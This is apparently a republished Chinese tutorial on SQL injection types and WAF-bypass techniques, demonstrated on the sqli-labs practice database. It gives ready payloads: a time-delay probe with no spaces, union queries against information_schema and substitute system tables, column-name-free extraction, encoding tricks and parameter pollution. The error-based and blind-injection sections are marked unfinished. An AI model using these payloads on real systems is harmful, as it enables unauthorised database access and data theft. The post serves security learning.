sql注入常见绕过方法

news/2024/11/18 2:28:54/文章来源:https://www.cnblogs.com/fr09/p/18431363

sql注入可以说是非常成熟的攻击手段了 对其的防御体系也很完善 据owasp统计 存在注入类漏洞的网站不超过10%

首先我们了解下sql注入的类型:
分为直接有回显的:

  1. 联合注入: 通过联合查询语句进行信息的查询 需要页面回显数据
  2. 报错注入: 需要页面存在查询语句报错回显
  3. 堆叠注入: 需要数据库支持堆叠查询格式
    没有直接信息回显即盲注:
  4. bool盲注: 页面没有回显 通过sql语句表达式判断 并根据页面内容变化判断表达式是否合理
  5. 时间盲注: 页面没有回显 通过sql语句表达式判断并加入时延 通过时延判断表达式是否成立
    从注入内容分:
  6. 数字型注入: 传递的参数会被当做数字处理
  7. 字符型注入: 传递的参数会被当做字符串处理

区分数字型注入或者字符型注入 可以利用and表达式进行判断 如果为字符型 不论条件真假 都能查询并且得到结果 如果为数字型 如果and条件没被满足此时将不会显示结果
这里使用经典的sqllib举例:

  • 字符型:
    条件满足:
    image
    条件不满足:
    image

  • 数字型:
    条件满足:
    image
    条件不满足:
    image
    或者我们可以利用数学运算来判断传参类型:
    image
    显然 如果是字符型 减法运算后查询的结果应该仍为dumb 说明该参数类型为数字型

为了了解绕过思路 我们先来了解下联合注入的常规流程:
首先查找注入点的存在 一般为搜索,登录栏等
判断注入点的类型 为字符型还是数字型
尝试闭合方式 括号,引号
通过orderby groupby 查询列数
判断回显位置 通过联合查询 得出回显信息的位置
通过联合查询得到信息 这里有一个非常关键且常用的数据库:
information_schema这个库中常用的表有columns 还有 tables
image

image

这两个表结合起来 可以查询出特定数据库中的表名以及表的列名 可以查出特定的数据

常用绕过方法:

  • 空格绕过:
    首先我们可以进行空格是否被过滤的判断:
    使用延时注入来判断
    id=(select*from(select(sleep(5)))a)#
    这段sql语句完全不存在空格
    image
    时延大于2 说明该语句触发了sleep 这时在语句中加入空格 如果没有触发sleep说明空格被禁用

空格绕过:

  • 思路一:编码绕过
    %20 %0a %0b %0c %0d %a0 %00 %09
    这些编码有时可以代替空格做截断,具体情况具体分析
  • 思路二:符号绕过
    采用其他符号代替空格
    回车的编码为:%0d%0a 括号则很简单 直接使用()将查询语句隔离开
    反引号 ``包裹表名列名
    常用内联注释/**/代替空格

引号绕过:
双引号和单引号一般情况可以相互代替
有时可以使用十六进制形式进行查询
image
不过waf一般更关注是否存在查询语句 而不会关注编码形式

下面说几种不是很有效的绕过:

  • 大小写绕过:
    古早时期可能会存在 但现在一定不会出现类似的错误
  • 浮点数绕过:
    有时waf匹配参数只为整形 使用浮点数可以进行绕过
  • null值:
    \N是null值 有时会突破正则的限制,但大多情况下waf的正则会进行字符边界的限制
  • 条件判断符号
    and or not xor 这四种条件判断符都是非常常用的符号
    常常等价替换为符号
    &&与 ||或 !非 |异或

有时也会用in来代替判断表达式 in也可以代替等号
比如大于等于2小于等于3可以表示为in(2,3)

有关联合查询的注入绕过:

我们要想绕过 首先得了解注入的手段 以及waf是怎么进行防御的
注入语句实例:

id=-1' union select 1,group_concat(TABLE_NAME),3 from information_schema.TABLES where TABLE_SCHEMA='security' --+

上面是一个很经典的联合注入示范
我们了解到 waf通常会对information库进行防范
关于这个库的绕过方法:
首先我们着眼于有没有其他库可以代替

sys.schema_auto_increment_columns  //自增列名
sys.schema_table_statistics_with_buffer //统计buffer
mysql.innodb_table_stats //innodb引擎的数据库统计
mysql.innodb_table_index //innodb表的节点信息统计

在5.7以后的版本中 以上的表都可以代替information数据库查出表名
获取表名后如何查询我们想要得到的数据呢:
此时我们无法准确获取到列名 可以简单地尝试下常见的列 username password等
最终都是为了查询到目标数据
我们可以使用连表查询 将数字与表进行结合 用数字来代表表的列名

mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1  | 2        | 3          |
+----+----------+------------+
|  1 | 2        | 3          |
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+

经过联合查询后 表的列名变为了1,2,3
这个时候只需要将这个表作为一个整体进行使用:

select `2` from (select 1,2,3 union select * from users) as a;
+----------+
| 2        |
+----------+
| 2        |
| Dumb     |
| Angelina |
| Dummy    |
| secure   |
| stupid   |
| superman |
| batman   |
| admin    |
| admin1   |
| admin2   |
| admin3   |
| dhakkan  |
| admin4   |
+----------+

不需要列名 照样爆出了数据
id=-1' union select 1,group_concat(s),group_concat(z) from(select 1,2,3 union select * from users)as a--+
image
当反引号被禁止使用时 可以给列起别名
id=-1' union select 1,group_concat(s),group_concat(z) from(select 1,2 as s,3 as z union select * from users)as a--+
image
效果一致

使用去重函数:distinct
这个函数可以打破正则匹配的限制,加入这个值可能会让正则无效
image
这里重点推荐下:
脚本语言绕过:
在某些后端环境下:如php 同一个变量的值前一个的值会被后一个值覆盖掉
?id=1%00&id=2 这就要看后端怎么处理数据了 此时第一个id绕过了waf 第二个id落入后端进行处理 这也是比较经典的绕过 曾在daiqile平台出现

join注入绕过:有时不允许直接查询数据,此时可以使用join函数
image

有时候后台的sql语句会限制行数 用limit函数 limit0,1
limit 1 offset 0 这两个查询的效果一致 都是从第零行向后截断一行
可以省去逗号

报错注入:

未完

盲注绕过

未完

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/804787.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Volcano新版本发布:10大功能提升统一调度和细粒度资源管理能力

Volcano是业界首个云原生批量计算社区,也是 CNCF 首个及唯一孵化级批量计算项目。Volcano主要用于 AI、大数据、基因、渲染等诸多高性能计算场景,对主流通用计算框架均有很好的支持。本文分享自华为云社区《Volcano v1.10.0 版本正式发布!10大功能全面提升统一调度和细粒度资…

9.27 模拟赛(NOIP十三连测 #10)

2024--梦熊&太戈--NOIP十三连测 #10【订正】 - 比赛 - 梦熊联盟 (mna.wang) 复盘 开 T1。差分转化。模拟了一下样例感觉方案好像是唯一确定的,不需要贪心/DP。但不太能证。 想了会感觉找不出反例。然后写完了。对拍没挂。用时不到 \(30\) 分钟。 T2。\(m \le 20\) 且数据随…

软件工程第一次结对作业之需求分析和原型设计

这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzu/SE2024这个作业要求在哪里 https://edu.cnblogs.com/campus/fzu/SE2024/homework/13261这个作业的目标 设计一个兼顾实用性、有效性、安全性、隐私性和封闭性的跨专业项目合作平台,为大学生提供便捷的合作渠道,解决…

Linux 防火墙与安全管理工具详解

Linux 防火墙与安全管理工具详解 1. Iptables 概述 Iptables 是 Linux 系统中用于控制网络流量的工具,通过定义规则来过滤、转发和修改数据包。其规则可以细致地管理进入和离开系统的数据流。 1.1 三表五链1.1.1 三表 Iptables 中主要有三种表,每种表用于不同的操作:filter …

PS 2024下载

下载链接 https://pan.baidu.com/s/12CPOer87t83ytwZ0MC5tIQ?pwd=7x3s 7x3s是提取码 1.百度网盘保存后下载到本地电脑用解压软件解压,解压密码是ruanjianhenye 2.打开解压后的文件夹,鼠标点击set-up选择以管理员的身份运行3.选择更改位置4.打开需要将软件安装的磁盘(如…

Excel读写之xlrd模块

1.1、xlrd模块介绍 xlrd:用于读取Excle数据文件将返回的数据对象放到内存中,然后查询数据文件对象的相关信息。 xlwt:用于在内存中生成新的数据文件对象,处理完成后写入到Excel数据文件中。 xlutils:主要的作用就是copy新的文件对象,在新的数据对象中完成数据处理操作。 …

广州C++信奥老师解一本通题 1919:【02NOIP普及组】选数

​【题目描述】已知nn个整数x1,x2,……xn 以及一个整数K(K<n)。从n个整数中任选K个整数相加,可分别 得到一系列的和。例如当n=4, k=3 4个整数分别为3,7,12,19 3, 7,12,19时,可得全部的组合与它们的和为: 3+7+12=22   3+7+19=29   7+12+19=38  3+12+19=34 现在,要求你计算…

VMware安装Ubuntu操作系统 2024.9.27

1.安装 Ubuntu的官方网站是:https://www.ubuntu.com/download 点进去可以直接下载文件下载会比较慢,我这点用了约5分钟 然后就可以打开vmware,选择:就可以注册和使用了。 笔记本电脑是这样的。。 如果使用台式机,没有相应的硬件环境的话,就不要创建空的盘符了,就可以创建…

PbootCMS上传图片失败或提示:未知错误

在PbootCMS中,如果遇到上传图片失败或提示“未知错误”,可以尝试以下几个步骤来解决问题: 解决方案 1. 检查服务器空间和权限检查服务器空间:确认服务器空间是否已满。可以使用FTP客户端或服务器管理面板查看剩余空间。 如果空间不足,清理一些不必要的文件或增加空间容量。…

五上数学第1单元情况反馈204班

五上数学第1单元情况反馈204班 本周进行了数学第一单元的综合练习,已经进行了讲评。试卷已经下发,请学生带回家改完错误,家长签字。 签字在试卷的左上角,签字示范:家长阅,9月27日,或者再写一些建议与意见都可以。 下面分析一下第一单元的情况: 第一单元是本册最难的单元…

地平线静态目标检测 MapTR 参考算法-V1.0

1.简介 高清地图是自动驾驶系统的重要组件,提供精确的驾驶环境信息和道路语义信息。传统离线地图构建方法成本高,维护复杂,使得依赖车载传感器的实时感知建图成为新趋势。早期实时建图方法存在局限性,如处理复杂地图元素的能力不足、缺乏实例级信息等,在实时性和后处理复杂…